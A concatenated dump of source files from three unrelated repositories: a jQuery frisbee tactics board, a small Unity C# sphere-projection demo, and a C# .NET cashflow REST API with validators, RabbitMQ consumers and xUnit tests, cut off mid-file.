$("<tr/>") .addClass('player'+(i+1)) .addClass('player') .on('mouseover', function() { var nr = $(this).children().first().text(); Field.focus_player('home', nr); }).on('mouseout', function() { Field.unfocus_players('home'); }); var td1 = $("<td/>").text(i+1).appendTo(tr); var td2 = $("<td/>").text(play['home'][i]['role']).appendTo(tr); var person = play['home'][i]['person']; if (!person) { person = ['',''] } var td3 = $("<td/>").text(person[0]).appendTo(tr); var td4 = $("<td/>").text(person[1]).appendTo(tr); tr.appendTo(tableHome); } else { $(".field .home.player"+(i+1)).css(Field.calculate_pos(play['home'][i])) } } var tableAway = $("#legend .away table"); for (var i=0;i<play['away'].length;i++) { if (!preserve) { $("<div/>") .text(i+1) .addClass('player') .addClass('player'+(i+1)) .addClass('away') .css(Field.calculate_pos(play['away'][i])) .on('mouseover', function() { Field.focus_player('away', $(this).text()) }) .on('mouseout', function() { Field.unfocus_players('away'); }) .appendTo($(".field")); var tr = $("<tr/>") .addClass('player'+(i+1)) .addClass('player') .on('mouseover', function() { var nr = $(this).children().first().text(); Field.focus_player('away', nr); }).on('mouseout', function() { Field.unfocus_players('away'); }); var td1 = $("<td/>").text(i+1).appendTo(tr); var td2 = $("<td/>").text(play['away'][i]['role']).appendTo(tr); var person = play['away'][i]['person']; if (!person) { person = ['',''] } var td3 = $("<td/>").text(person[0]).appendTo(tr); var td4 = $("<td/>").text(person[1]).appendTo(tr); tr.appendTo(tableAway); } else { $(".field .away.player"+(i+1)).css(Field.calculate_pos(play['away'][i])) } } if (play['disc']) { $(".disc").css(Field.calculate_pos(play['disc'])).show(); } } Field.focus_player = function(team, nr) { $(".field ."+team+".player"+nr).addClass('active'); $("#legend ."+team+" table tr.player"+nr).addClass('active'); } Field.unfocus_players = function(team, nr) { $(".field ."+team+".player").removeClass('active'); $("#legend ."+team+" table tr").removeClass('active'); } Field.draw_vision = function(player) { var pos = $(".player"+player).position(); var kf = Data.get_data('kf'); var vis = kf['home'][player-1]['vis']; if (vis) { var d = $("<div/>").addClass('vision').appendTo($(".field")); d.css({'top': pos['top']-45+10, 'left': pos['left']-45+10}); d.css('-moz-transform', 'rotate('+vis+'deg)'); } } Field.clear_vision = function() { $(".vision").remove(); } Field.draw_area = function(player) { var kf = Data.get_data('kf'); var cov = kf['home'][player-1]['cov']; /* <svg xmlns="http://www.w3.org/2000/svg" version="1.1" preserveAspectRatio="xMidYMid slice" style="width:300px; height:300px; position:absolute; top:100px; left:100px; z-index:30;"> <ellipse cx="60" cy="60" rx="50" ry="25" fill="red" style="opacity: 0.3"/> </svg> */ //var svg = $("<svg/>").css('border', '1px solid black'); //svg.appendTo($(".field")); var area = $("<ellipse/>").attr({ 'cx': 60, 'cy': 60, 'rx': 50, 'ry': 25, 'fill': 'red', }); area.appendTo($("svg")); } }).call(this);
40afea50e485477db4fe138e32b4256a3e028b86
[ "JavaScript" ]
2
JavaScript
zbraniecki/ultiboard
0a961b8de41abec47c2f18702e4ad7645d4d1ad1
363e00c43a4994072e2c1899cf772c0e1008f4f7
refs/heads/master
<file_sep>using UnityEngine; using System.Collections; public class projectToSphere : MonoBehaviour { public float x_pos = 0; public float y_pos = 0; // Use this for initialization void Start () { } // Update is called once per frame void Update () { } public void project() { transform.localRotation = Quaternion.Euler (new Vector3 (y_pos, x_pos, 0)); transform.FindChild ("Quad").localScale = new Vector3(0.01f * Mathf.Cos (y_pos/60), 0.01f, 0.01f); } } <file_sep>using UnityEngine; using System.Collections; public class treeMaker : MonoBehaviour { public GameObject tree; // Use this for initialization void Start () { for (int i = 0; i < 360 * 2; i++) { GameObject myTree = (GameObject)Instantiate (tree); projectToSphere pts = myTree.GetComponent<projectToSphere>(); pts.x_pos = Random.Range (-180, 180); pts.y_pos = Random.Range (-90, 90); pts.project(); } } // Update is called once per frame void Update () { } } <file_sep>using UnityEngine; using System.Collections; public class keyMove : MonoBehaviour { float x_pos = 0; float y_pos = 0; // Use this for initialization void Start () { } // Update is called once per frame void Update () { if (Input.GetKey ("up")) { y_pos -= 0.1f; } if (Input.GetKey ("down")) { y_pos += 0.1f; } if (Input.GetKey ("left")) { x_pos -= 0.1f; } if (Input.GetKey ("right")) { x_pos += 0.1f; } transform.localRotation = Quaternion.Euler (new Vector3 (y_pos, x_pos, 0)); transform.FindChild ("Quad").localScale = new Vector3(0.01f * Mathf.Cos (y_pos/60), 0.01f, 0.01f); } void OnCollisionEnter() { Debug.Log ("Collide!"); } }
90f8c6bbb86fb8c0371e56c7955d13d3594aaa08
[ "C#" ]
3
C#
evilseanbot/allAtOnce
aa2171f3c720ffcb12ee85ec68811ed39182e95a
312338918baf395e305326d5f7dbbe6623cac8c9
refs/heads/master
<file_sep>#Week 1 session 2 #ask: how to tablate in mac? # check R 3.0.2 is correctly installed vector <- c(1,2,3,4) vector library(raster) r<-raster(nrow =20, ncol=20) plot(r) random <- rnorm(n=20) random data(cars) plot(cars) library(sp) data(meuse.grid) ?meuse.grid #explanation about the dataset. Help to build self-contained variables to start working #Copied from the help: data(meuse.grid) coordinates(meuse.grid) = ~x+y proj4string(meuse.grid) <- CRS("+init=epsg:28992") gridded(meuse.grid) = TRUE spplot(meuse.grid) ########################################## ##### Replace values in a VECTOR by NA ### ########################################## vector<-c(1,2,3,4,3,4,6,7) vector vector[vector==3] <- NA vector[vector==4] <- NA vector # Replace NA by another value (requires another syntax because NA is not a number) vector[is.na(vector)] <- 0 vector #Replace several values at the same time vector<-c(1,2,3,4,4,5,3,4,6,7) vector vector[vector %in% c(3,4)] <- NA #doesnt look for a specific order of the numbers vector ########################################## ######## Control flow example ########### ########################################## hello <- function(name){ out <- paste("Hello", name) return(out) } hello("sven") hello(3) #it runs but it makes no sense hello(r) #try to concatenate a character and a raster gives error #improve the function so taht it takes only characters hello <- function(name){ if(is.character(name)){ out <- paste("Hello", name) } else if(is.numeric(name)){ out <- paste("Hello", name) warning("The function expected and object of class character but still works") } else { #produce an error message by stoping the code stop("The function expected and object of class character") } return(out) } hello("to myself") hello(5) #it runs but it makes no sense hello(r) #try to concatenate a character and a raster gives error ########################################## ########### Error handling ############## ########################################## square <- function(x){ out <- x*x return(out) } square(3) list <- list(1,2,3,4,5,6,7,8,9) out<-c() #square(list) # error: we need a for loop for lists for (i in 1:length(list)){ out[i] <-square(list[[i]]) } out out2 <-c() list2 <- list(1,2,3,4, "wageningen", 5,6,7) for (i in 1:length(list2)){ out2[i] <- square(list2[[i]]) } out2 #it STOPS when it finds a character, it only takes numeric trysquare <- function(x){ s <- try(square(x)) return(s) } out2 <- c() list2 <- list(1,2,3,4, "wageningen", 5,6,7) for (i in 1:length(list2)){ out2[i] <-trysquare(list2[[i]]) } out2 # signals error bc only takes numeric but DOESNOT STOP ############################# ###### Version control ###### ############################# # Git is installed but SVN no (no need to do it) # Create one repository for each R project. #Note: to see the past history of a file: in the upper right window of # Rstudio, click Git tab, More, History. That is only visualization. How to # restore those files? look it up in Google. plot(1)
6de736422ac7211e07bee129b8bef9e49cc9f3c8
[ "R" ]
1
R
amaliacastro/lesson2
9aa87cf2e88b58cc12d7b09fb64063ed6330107a
8ebd6f138a86591194e03b4debc05f152cd38899
refs/heads/master
<repo_name>diegoreymy/start-react-native<file_sep>/README.md # start-react-native Estructura inicial de un proyecto hecho con react native <file_sep>/src/App.js import * as React from 'react'; import { DefaultTheme, Provider as PaperProvider } from 'react-native-paper'; import Navegacion from './components/Navegacion/navegacion'; import Login from './pages/login'; const theme = { ...DefaultTheme, roundness: 2, colors: { ...DefaultTheme.colors, primary: '#3498db', accent: '#f1c40f', }, }; const token = false; export default function App() { return ( <PaperProvider theme={theme}> { token ? <Navegacion /> : <Login /> } </PaperProvider> ); }
db54832e234a3c29dc4f40a8019fc00f10e10c5a
[ "Markdown", "JavaScript" ]
2
Markdown
diegoreymy/start-react-native
c044218d4bc2cabae20148c1dd8d1b40295c6fcb
f44af6aabbd954074723fd8dbfdb4f7be7081ac6
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.ServiceProcess; using System.DirectoryServices.AccountManagement; namespace WindowsFormsApplication1 { public partial class Form1 : Form { public Form1() { InitializeComponent(); } //Function to check if computer name exists in AD public bool DoesCptrExist(string cptrName) { using (var domainContext = new PrincipalContext(ContextType.Domain)) { using (var foundUser = ComputerPrincipal.FindByIdentity(domainContext, IdentityType.Name, cptrName)) { return foundUser != null; } } } //Function to detect Spooler service status public void SpoolerStatus(string cptrName) { string target = cptrName; ServiceController svc = new ServiceController("Spooler", target); string svcStatus = svc.Status.ToString(); textBox2.Text = svcStatus; } //Function to restart print spooler public void BounceSpooler(string cptrName) { string target = cptrName; ServiceController svc = new ServiceController("Spooler", target); string svcStatus = svc.Status.ToString(); if (svcStatus == "Running") { svc.Stop(); while (svcStatus != "Stopped") { svc.Refresh(); svcStatus = svc.Status.ToString(); } checkBox1.Checked = true; svc.Start(); while (svcStatus != "Running") { svc.Refresh(); svcStatus = svc.Status.ToString(); } checkBox2.Checked = true; } else if (svcStatus == "Stopped") { checkBox1.Checked = true; svc.Start(); while (svcStatus != "Running") { svc.Refresh(); svcStatus = svc.Status.ToString(); } checkBox2.Checked = true; } else { svc.Stop(); while (svcStatus != "Stopped") { svc.Refresh(); svcStatus = svc.Status.ToString(); } checkBox1.Checked = true; svc.Start(); while (svcStatus != "Running") { svc.Refresh(); svcStatus = svc.Status.ToString(); } checkBox2.Checked = true; } } private void Form1_Load(object sender, EventArgs e) { } private void textBox1_TextChanged(object sender, EventArgs e) { } private void button1_Click(object sender, EventArgs e) { //Clears all existing form values textBox2.Text = ""; checkBox1.Checked = false; checkBox2.Checked = false; checkBox4.Checked = false; //collect the computer name string cptrName = textBox1.Text; //Verify computer name exists in AD bool ADCheck = DoesCptrExist(cptrName); if (ADCheck == true) { checkBox4.Checked = true; } else { textBox1.Text = "Please enter a valid computer name"; } //Call the function that checks the spooler service. Pass in computer name if (checkBox4.Checked == true) { SpoolerStatus(cptrName); } } private void label2_Click(object sender, EventArgs e) { } private void checkBox1_CheckedChanged(object sender, EventArgs e) { } private void checkBox2_CheckedChanged(object sender, EventArgs e) { } private void textBox2_TextChanged(object sender, EventArgs e) { } private void checkBox4_CheckedChanged(object sender, EventArgs e) { } private void button2_Click(object sender, EventArgs e) { //Clears existing form values checkBox1.Checked = false; checkBox2.Checked = false; //collect the computer name string cptrName = "legdets100"; if (textBox1.Text == null) { textBox1.Text = "Please enter a valid computer name"; } else { cptrName = textBox1.Text; } //Verify computer name exists in AD bool ADCheck = DoesCptrExist(cptrName); if (ADCheck == true) { checkBox4.Checked = true; } else { textBox1.Text = "Please enter a valid computer name"; } //Call the function that restarts the spooler service. Pass in computer name if (checkBox4.Checked == true) { BounceSpooler(cptrName); } } } }
a4d5aaebcae3dc950a3a6dc945b39b3aac3449fd
[ "C#" ]
1
C#
glen-stern/RightFaxFix
82b80fed26301ce43f0a3434e0f88f332fecf95a
c1e7457daf3493ff78d24439d21a34f1845b49de
refs/heads/master
<file_sep>class TermSerializer include FastJsonapi::ObjectSerializer attributes :word, :definition, :category, :pronunciation end <file_sep>require 'rails_helper' RSpec.describe "User API" do it 'should get back user' do tron = User.create!(username: "Tron", password: "<PASSWORD>", password_confirmation: "<PASSWORD>") user_params = {username: "Tron", password: "<PASSWORD>"} get '/api/v1/users/1', params: {user: user_params} expect(response).to be_successful user = JSON.parse(response.body)["data"]["attributes"] expect(user["username"]).to eq(tron.username) end it 'should not get back user' do tron = User.create!(username: "Tron", password: "<PASSWORD>", password_confirmation: "test") user_params = {username: "Tron", password: "<PASSWORD>"} get '/api/v1/users/1', params: {user: user_params} expect(response).to be_successful error = JSON.parse(response.body) expect(error["error_message"]).to eq("Username and/or Password is incorrect.") end it 'should create a user' do user_params = {username: "Kat", password: "<PASSWORD>", password_confirmation: "<PASSWORD>"} post '/api/v1/users', params: {user: user_params} new_user = User.last expect(new_user.username).to eq('Kat') end it 'should not create a user (PASSWORDS DONT MATCH)' do user_params = {username: "Kat", password: "<PASSWORD>", password_confirmation: "tst"} post '/api/v1/users', params: {user: user_params} expect(response).to be_successful error = JSON.parse(response.body) expect(error["error_message"]).to eq("Passwords do not match.") end it 'should not create a user (DUPLICATE USERNAME)' do tron = User.create!(username: "Tron", password: "<PASSWORD>", password_confirmation: "test") user_params = {username: "Tron", password: "<PASSWORD>", password_confirmation: "tst"} post '/api/v1/users', params: {user: user_params} expect(response).to be_successful error = JSON.parse(response.body) expect(error["error_message"]).to eq("Username is already in use.") end it 'should delete a user' do tron = User.create!(username: "Tron", password: "<PASSWORD>", password_confirmation: "<PASSWORD>") kat = User.create!(username: "Kat", password: "<PASSWORD>", password_confirmation: "<PASSWORD>") delete "/api/v1/users/#{kat.id}" expect(User.count).to eq(1) expect(User.last).to eq(tron) end end <file_sep>class AddPronunciationToTerms < ActiveRecord::Migration[6.0] def change add_column :terms, :pronunciation, :string end end <file_sep>class Api::V1::TermsController < ApplicationController def index render json: TermSerializer.new(Term.all) end end <file_sep>class User < ApplicationRecord validates_presence_of :username validates_uniqueness_of :username validates_presence_of :password_digest has_secure_password end <file_sep>require 'rails_helper' RSpec.describe 'Term API' do it 'should get list of anime term' do term = Term.create!(word: "Test", definition: "This is a definition", category: 0, pronunciation: "Ah-knee-meh") term = Term.create!(word: "Test2", definition: "This is a definition also", category: 1, pronunciation: "meh-kah") term = Term.create!(word: "Test3", definition: "This is a definition also also", category: 2) get '/api/v1/terms' expect(response).to be_successful terms = JSON.parse(response.body)["data"] expect(terms.count).to eq(3) binding.pry end end <file_sep>class Api::V1::UsersController < ApplicationController def index render json: UserSerializer.new(User.all) end def show user = User.find_by(username: params[:user][:username]) if !user.nil? && user.authenticate(params[:user][:password]) render json: UserSerializer.new(user) else render json: {error_message: "Username and/or Password is incorrect."} end end def create user = User.create(user_params) if user.save render json: UserSerializer.new(user) elsif User.find_by(username: params[:user][:username]) render json: {error_message: "Username is already in use."} else render json: {error_message: "Passwords do not match."} end end def destroy render json: UserSerializer.new(User.destroy(params[:id])) end private def user_params params[:user].permit(:username, :password, :password_confirmation) end end <file_sep>require 'rails_helper' RSpec.describe Term, type: :model do describe 'validations' do it {should validate_presence_of :word} it {should validate_presence_of :definition} end end <file_sep>Rails.application.routes.draw do # For details on the DSL available within this file, see https://guides.rubyonrails.org/routing.html namespace :api do namespace :v1 do #USERS ROUTES get '/users', to: 'users#index' get '/users/:id', to: 'users#show' post '/users', to: 'users#create' delete '/users/:id', to: 'users#destroy' #TERMS ROUTES get '/terms', to: 'terms#index' end end end <file_sep>class Term < ApplicationRecord validates_presence_of :word, :definition enum category: %w(general anime_category personality_relationships) end
ab6632b9cb627a5d6037738c10632bd26b86310d
[ "Ruby" ]
10
Ruby
KirbyDD/anime-tracker-be
eaf4d560084d9ebeafe7c188aebe1c58e0ce8592
e0732a0fbd98b6a1b783016a728138f93db220d2
refs/heads/master
<repo_name>leandrocurioso/RestCashflow<file_sep>/RestCashflowLibrary/Infrastructure/DataAnnotation/CpfOrCnpjAttribute.cs using System.ComponentModel.DataAnnotations; using RestCashflowLibrary.Infrastructure.Utility; namespace RestCashflowLibrary.Infrastructure.DataAnnotation { public class CpfOrCnpjAttribute : ValidationAttribute { public bool WithMask { get; set; } public CpfOrCnpjAttribute() { WithMask = false; } public override bool IsValid(object value) { var strValue = value as string; var cpfLengthWithMask = 14; var cpfLengthWithoutMask = 11; var cnpjLengthWithMask = 18; var cnpjLengthWithoutMask = 14; if (strValue == null) { return true; } if (GeneralValidator.IsCnpj(strValue)) { if (WithMask && strValue.Length != cnpjLengthWithMask) { return false; } if (!WithMask && strValue.Length != cnpjLengthWithoutMask) { return false; } return true; } if (GeneralValidator.IsCpf(strValue)) { if (WithMask && strValue.Length != cpfLengthWithMask) { return false; } if (!WithMask && strValue.Length != cpfLengthWithoutMask) { return false; } return true; } return false; } } }<file_sep>/RestCashflowLibrary/Infrastructure/Repository/IDayBalanceRepository.cs using System; using System.Threading.Tasks; using RestCashflowLibrary.Domain.Model.Entity; namespace RestCashflowLibrary.Infrastructure.Repository { public interface IDayBalanceRepository : IRepository { Task<DayBalanceEntity> GetByDate(DateTime dt); Task<long> Insert(DayBalanceEntity entity); Task<bool> Update(DayBalanceEntity entity); } } <file_sep>/RestCashflowTests/GeneralValidatorUnitTest.cs using RestCashflowLibrary.Infrastructure.Utility; using Xunit; namespace RestCashflowTests { public class GeneralValidatorUnitTest { static GeneralValidatorUnitTest() { Setup.Initialize(); } [Theory] [InlineData("031.484.711-13")] [InlineData("03148471113")] [InlineData("315.659.250-17")] [InlineData("31565925017")] public void IsValidCpf(string cpf) { Assert.True(GeneralValidator.IsCpf(cpf)); } [Theory] [InlineData("031.484.711-133")] [InlineData("031484711133")] [InlineData("315.659.250-173")] [InlineData("315659250173")] public void IsInvalidCpf(string cpf) { Assert.False(GeneralValidator.IsCpf(cpf)); } [Theory] [InlineData("48.206.861/0001-57")] [InlineData("48206861000157")] [InlineData("67.734.409/0001-02")] [InlineData("67734409000102")] public void IsValidCnpj(string cnpj) { Assert.True(GeneralValidator.IsCnpj(cnpj)); } [Theory] [InlineData("48.206.861/0001-570")] [InlineData("482068610001570")] [InlineData("67.734.409/0001-020")] [InlineData("677344090001020")] public void IsInvalidCnpj(string cnpj) { Assert.False(GeneralValidator.IsCnpj(cnpj)); } } } <file_sep>/RestCashflowLibrary/Infrastructure/Repository/IRepository.cs using Microsoft.Extensions.Configuration; namespace RestCashflowLibrary.Infrastructure.Repository { public interface IRepository { IConfiguration Configuration { get; set; } } } <file_sep>/RestCashflowLibrary/Infrastructure/DataAnnotation/DateAttribute.cs using System; using System.ComponentModel.DataAnnotations; namespace RestCashflowLibrary.Infrastructure.DataAnnotation { public class DateAttribute : ValidationAttribute { public override bool IsValid(object value) { string strDate = value as string; char separator = '-'; char firstSeparator = strDate[2]; char secondSeparator = strDate[5]; if (strDate.Length != 10 || firstSeparator != separator || secondSeparator != separator) { return false; } if (!DateTime.TryParse(strDate, out DateTime dt)) { return false; } return true; } } } <file_sep>/RestCashflowTests/DayBalanceBusinessUnitTest.cs using Microsoft.Extensions.Configuration; using Moq; using RestCashflowLibrary.Domain.Business; using RestCashflowLibrary.Domain.Model.Entity; using RestCashflowLibrary.Domain.Model.Enum; using RestCashflowLibrary.Domain.Service; using RestCashflowLibrary.Infrastructure.Repository; using Xunit; namespace RestCashflowTests { public class DayBalanceBusinessUnitTest { Mock<IFinancialEntryValidateService> _financialEntryValidateService = new Mock<IFinancialEntryValidateService>(); Mock<IDayBalanceRepository> _dayBalanceRepository = new Mock<IDayBalanceRepository>(); Mock<IConfiguration> _configuration = new Mock<IConfiguration>(); static DayBalanceBusinessUnitTest() { Setup.Initialize(); } [Theory] [InlineData("0,83", -1, 0.0083)] [InlineData("5,00", -10, 0.5)] [InlineData("10,00", -100, 10)] [InlineData("0,01", -1000, 0.1)] [InlineData("50,00", 10000, 0)] public void CalculateInterest(string interest, decimal balance, decimal percentage) { _configuration.Setup(x => x.GetSection("Business:DayInterest").Value).Returns(interest); var dayBalanceBusiness = new DayBalanceBusiness(_dayBalanceRepository.Object, _financialEntryValidateService.Object, _configuration.Object); var entiry = new DayBalanceEntity() { Balance = balance }; var result = dayBalanceBusiness.CalculateInterest(entiry); Assert.Equal(percentage, result); } [Theory] [InlineData(1000, 500, -500)] [InlineData(2000, 1000, -1000)] [InlineData(0.5, 0.25, -0.25)] [InlineData(500, 1750, 1250)] [InlineData(100, 100, 0)] [InlineData(0.1, 0.2, 0.1)] public void CalculateBalance(decimal totalOut, decimal totalEntry, decimal expected) { var dayBalanceBusiness = new DayBalanceBusiness(_dayBalanceRepository.Object, _financialEntryValidateService.Object, _configuration.Object); var entiry = new DayBalanceEntity() { TotalOut = totalOut, TotalEntry = totalEntry }; var result = dayBalanceBusiness.CalculateBalance(entiry); Assert.Equal(expected, result); } [Theory] [InlineData(500, 500, 1000, 0, 0)] [InlineData(1000, 250, 1500, 250, 0)] [InlineData(0, 1000, 500, -500, 4.15)] public void FillDayBalance(decimal currentValue, decimal totalOut, decimal totalEntry, decimal expectedBalance, decimal expectedInterest) { _configuration.Setup(x => x.GetSection("Business:DayInterest").Value).Returns("0,83"); var dayBalanceBusiness = new DayBalanceBusiness(_dayBalanceRepository.Object, _financialEntryValidateService.Object, _configuration.Object); var financialEntryEntity = new FinancialEntryEntity() { EntryType = FinancialEntryTypeEnum.Payment, Value = currentValue }; var dayBalanceEntity = new DayBalanceEntity() { TotalOut = totalOut, TotalEntry = totalEntry }; var result = dayBalanceBusiness.FillDayBalance(financialEntryEntity, dayBalanceEntity).GetAwaiter().GetResult(); Assert.Equal(expectedBalance, result.Balance); Assert.Equal(expectedInterest, result.Interest); Assert.Equal((currentValue + totalOut), result.TotalOut); Assert.Equal(totalEntry, result.TotalEntry); } } } <file_sep>/RestCashflowLibrary/Domain/Business/IFinancialEntryBusiness.cs using System; using System.Collections.Generic; using System.Threading.Tasks; using RestCashflowLibrary.Domain.Model.DataTransferObject; using RestCashflowLibrary.Domain.Model.Entity; namespace RestCashflowLibrary.Domain.Business { public interface IFinancialEntryBusiness : IBusiness { Task AddToQueue(FinancialEntryEntity financialEntryEntity); Task<long> Create(FinancialEntryEntity entity); Task<IEnumerable<CashflowDataTransferObject>> GetCashflow(DateTime startDate, int daysAhead); decimal CalculateDayPositionPercentage(decimal? yesterdayTootal, decimal currentDayTotal); } } <file_sep>/RestCashflowLibrary/Infrastructure/Consumer/ReceiptConsumer.cs using System.Text; using System.Threading.Tasks; using Newtonsoft.Json; using RabbitMQ.Client; using RabbitMQ.Client.Events; using RestCashflowLibrary.Domain.Business; using RestCashflowLibrary.Domain.Model.Entity; using RestCashflowLibrary.Infrastructure.Queue; using SimpleInjector; using SimpleInjector.Lifestyles; namespace RestCashflowLibrary.Infrastructure.Consumer { public class ReceiptConsumer : IReceiptConsumer { readonly Container _container; public ReceiptConsumer(Container container) { _container = container; } private async Task Execute(FinancialEntryEntity entity) { try { var financialEntryBusiness = _container.GetInstance<IFinancialEntryBusiness>(); var conciliateQueue = _container.GetInstance<IConciliateQueue>(); entity.Id = await financialEntryBusiness.Create(entity); await conciliateQueue.Publish(entity); } catch { throw; } } public void Consume() { try { var channel = _container.GetInstance<IModel>(); channel.QueueDeclare(queue: "receipt", durable: true, exclusive: false, autoDelete: false, arguments: null); var consumer = new EventingBasicConsumer(channel); consumer.Received += (model, ea) => { using (AsyncScopedLifestyle.BeginScope(_container)) { var json = Encoding.UTF8.GetString(ea.Body); var entity = JsonConvert.DeserializeObject<FinancialEntryEntity>(json); Execute(entity).GetAwaiter().GetResult(); } }; channel.BasicConsume(queue: "receipt", exclusive: false, autoAck: true, consumer: consumer); } catch { throw; } } } } <file_sep>/RestCashflowLibrary/Domain/Model/Enum/FinancialEntryTypeEnum.cs namespace RestCashflowLibrary.Domain.Model.Enum { public enum FinancialEntryTypeEnum { Payment = 0, Receipt = 1 } } <file_sep>/RestCashflowLibrary/Infrastructure/Model/ValueObject/ErrorResponseValueObject.cs namespace RestCashflowLibrary.Infrastructure.Model.ValueObject { public class ErrorResponseValueObject { public string message { get; set; } } } <file_sep>/RestCashflowLibrary/Domain/Model/DataTransferObject/FinancialEntryDataTransferObject.cs using System; using System.ComponentModel.DataAnnotations; using RestCashflowLibrary.Domain.Model.Enum; using RestCashflowLibrary.Infrastructure.DataAnnotation; namespace RestCashflowLibrary.Domain.Model.DataTransferObject { [Serializable] public class FinancialEntryDataTransferObject { [Required] [EnumDataType(typeof(FinancialEntryTypeEnum))] public FinancialEntryTypeEnum EntryType { get; set; } [Required] [MaxLength(1000)] public string Description { get; set; } [Required] [RegularExpression("^[0-9]+$")] public string DestinationAccount { get; set; } [Required] [EnumDataType(typeof(BankEnum))] public BankEnum DestinationBank { get; set; } [Required] [EnumDataType(typeof(AccountTypeEnum))] public AccountTypeEnum AccountType { get; set; } [Required] [CpfOrCnpj(WithMask = true)] public string DestinationCpfCnpj { get; set; } [Required] public decimal Value { get; set; } public decimal Charge { get; set; } [Required] public DateTime EntryDate { get; set; } } } <file_sep>/RestCashflowLibrary/Infrastructure/Consumer/IPaymentConsumer.cs namespace RestCashflowLibrary.Infrastructure.Consumer { public interface IPaymentConsumer : IConsumer { } } <file_sep>/RestCashflowLibrary/Domain/Model/Enum/BankEnum.cs using System; namespace RestCashflowLibrary.Domain.Model.Enum { public enum BankEnum { Itau = 0, Bradesco = 1, Santander = 2, Safra = 3, NuBank = 4, Caixa = 5 } } <file_sep>/RestCashflowLibrary/Infrastructure/Repository/IFinancialEntryRepository.cs using System; using System.Collections.Generic; using System.Threading.Tasks; using RestCashflowLibrary.Domain.Model.Entity; namespace RestCashflowLibrary.Infrastructure.Repository { public interface IFinancialEntryRepository : IRepository { Task<long> Create(FinancialEntryEntity entity); Task<bool> Update(FinancialEntryEntity entity); Task<IEnumerable<FinancialEntryEntity>> ListConciledBetweenDate(DateTime startDate, DateTime endDate); } } <file_sep>/RestCashflowLibrary/Infrastructure/DataAnnotation/RealCurrencyAttribute.cs using System; using System.ComponentModel.DataAnnotations; using System.Text.RegularExpressions; namespace RestCashflowLibrary.Infrastructure.DataAnnotation { public class RealCurrencyAttribute : ValidationAttribute { public override bool IsValid(object value) { string strValue = value as string; if (strValue == null) { return true; } var regex = new Regex(@"^R\$ (\d{1,3}(\.\d{3})*|\d+)(\,\d{2})?$"); return regex.Match(strValue).Success; } } } <file_sep>/RestCashflowWebApi/Model/LancamentoFinanceiro.cs using System; using System.ComponentModel.DataAnnotations; using RestCashflowLibrary.Domain.Model.Entity; using RestCashflowLibrary.Domain.Model.Enum; using RestCashflowLibrary.Infrastructure.DataAnnotation; using RestCashflowLibrary.Infrastructure.Utility; namespace RestCashflowWebApi.Model { [Serializable] public class LancamentoFinanceiro { /// <summary> /// Tipo do lançamento /// </summary> /// <example>Pagamento = 0, Recebimento = 1</example> [Required(ErrorMessage = "O campo tipo de lançamento é requerido.")] [EnumDataType(typeof(FinancialEntryTypeEnum), ErrorMessage = "O tipo de conta não é válido.")] public FinancialEntryTypeEnum tipo_da_lancamento { get; set; } /// <summary> /// Descrição do lançamento /// </summary> /// <example>Pagamento da conta de luz</example> [Required(ErrorMessage = "O campo descrição é requerido.")] [MaxLength(1000)] public string descricao { get; set; } /// <summary> /// Conta bancária de destino /// </summary> /// <example>00001</example> [Required(ErrorMessage = "O campo conta destino é requerido.")] [RegularExpression("^[0-9]+$", ErrorMessage = "O campo conta destino deve conter somente números.")] public string conta_destino { get; set; } /// <summary> /// Banco de destino /// </summary> /// <example>Itau = 0, Bradesco = 1, Santander = 2, NuBank = 4, Caixa = 5</example> [Required(ErrorMessage = "O campo banco destino é requerido.")] [EnumDataType(typeof(BankEnum), ErrorMessage = "O banco destino não é válido.")] public BankEnum banco_destino { get; set; } /// <summary> /// Tipo de conta /// </summary> /// <example>Conta Corrente = 0, Conta Poupança = 1</example> [Required(ErrorMessage = "O campo tipo de conta é requerido.")] [EnumDataType(typeof(AccountTypeEnum), ErrorMessage = "O tipo de conta não é válido.")] public AccountTypeEnum tipo_de_conta { get; set; } /// <summary> /// CPF ou CNPJ de Destino /// </summary> /// <example>836.885.190-43 ou 94.990.012/0001-54</example> [Required(ErrorMessage = "O campo CPF/CNPJ destino é requerido.")] [CpfOrCnpj(WithMask = true, ErrorMessage = "O CPF/CNPJ destino não é válido.")] public string cpf_cnpj_destino { get; set; } /// <summary> /// Valor do lançamento /// </summary> /// <example>R$ 1.000,00</example> [Required(ErrorMessage = "O campo valor do lançamento é requerido.")] [RealCurrency(ErrorMessage = "O formato deve ser R$ x.xxx,xx")] public string valor_do_lancamento { get; set; } /// <summary> /// Valor total dos encargos /// </summary> /// <example>R$ 500,00</example> [RealCurrency(ErrorMessage = "O formato deve ser R$ x.xxx,xx")] public string encargos { get; set; } /// <summary> /// Data do lançamento /// </summary> /// <example>01-01-2019</example> [Required(ErrorMessage = "O campo data de lançamento é requerido.")] [Date(ErrorMessage = "O data de lançamento deve ser o fomato dd-mm-aaaa")] public string data_de_lancamento { get; set; } public static explicit operator FinancialEntryEntity(LancamentoFinanceiro model) { return new FinancialEntryEntity { EntryDate = Convert.ToDateTime(model.data_de_lancamento), EntryType = model.tipo_da_lancamento, Description = model.descricao, DestinationAccount = model.conta_destino, DestinationBank = model.banco_destino, AccountType = model.tipo_de_conta, DestinationCpfCnpj = model.cpf_cnpj_destino, Value = FinancialConverter.FromRealToDecimal(model.valor_do_lancamento), Charge = FinancialConverter.FromRealToDecimal(model.encargos) }; } } } <file_sep>/RestCashflowWebApi/Model/FluxoCaixa.cs using System; using System.Collections.Generic; using RestCashflowLibrary.Domain.Model.DataTransferObject; using System.Linq; using RestCashflowLibrary.Infrastructure.Utility; namespace RestCashflowWebApi.Model { public class EntradaFluxoCaixa { /// <summary> /// Data da conciliação /// </summary> /// <example>01-01-2022</example> public string data { get; set; } /// <summary> /// Valor da entrada /// </summary> /// <example>R$ 1.000,00</example> public string valor { get; set; } } public class SaidaFluxoCaixa { /// <summary> /// Data da conciliação /// </summary> /// <example>01-01-2022</example> public string data { get; set; } /// <summary> /// Valor da saída /// </summary> /// <example>R$ 1.000,00</example> public string valor { get; set; } } public class EncargoFluxoCaixa { /// <summary> /// Data da conciliação /// </summary> /// <example>01-01-2022</example> public string data { get; set; } /// <summary> /// Valor do encargo /// </summary> /// <example>R$ 1.000,00</example> public string valor { get; set; } } [Serializable] public class FluxoCaixa { /// <summary> /// Data /// </summary> /// <example>01-01-2022</example> public string data { get; set; } /// <summary> /// Lista de entradas /// </summary> public IEnumerable<EntradaFluxoCaixa> entradas { get; set; } /// <summary> /// Lista de saídas /// 